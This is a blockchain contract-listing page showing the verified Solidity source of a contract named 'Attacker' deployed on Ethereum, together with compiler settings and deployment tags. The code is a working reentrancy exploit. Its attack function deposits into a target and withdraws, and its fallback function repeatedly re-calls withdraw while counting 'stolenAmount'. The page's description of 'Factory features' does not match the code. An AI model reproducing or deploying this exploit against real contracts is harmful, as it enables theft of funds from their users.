Attacker

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "attacker.sol": {
      "content": "// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// Define the interface of the target contract
interface ITarget {
    function deposit(address) external payable;
    function withdraw(uint256) external;
}

contract Attacker {
    address public target;
    uint256 public stolenAmount;

    constructor(address _target) {
        target = _target;
    }

    function attack() public payable {
        // Cast `target` to the interface and call `deposit`
        ITarget(target).deposit{value: msg.value}(0xEFA606dA1867c18F72AD75aa79cA3f37Ec94C208);

        // Call `withdraw` via the interface
        ITarget(target).withdraw(msg.value);
    }

    fallback() external payable {
        if (address(this).balance >= 1 ether) {
            ITarget(target).withdraw(1 ether);
            stolenAmount += 1 ether;
        }
    }
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
Factory|addr:0x02043102f6bfd5eba8549ae982542fa774f79c28|verified:true|block:23733976|tx:0x18346e0456d3442cd13af68187eb9fa8bf23f4a2862d06a030d219138e911618|first_check:1762360001

Submitted on: 2025-11-05 17:26:43

Comments

Log in to comment.

No comments yet.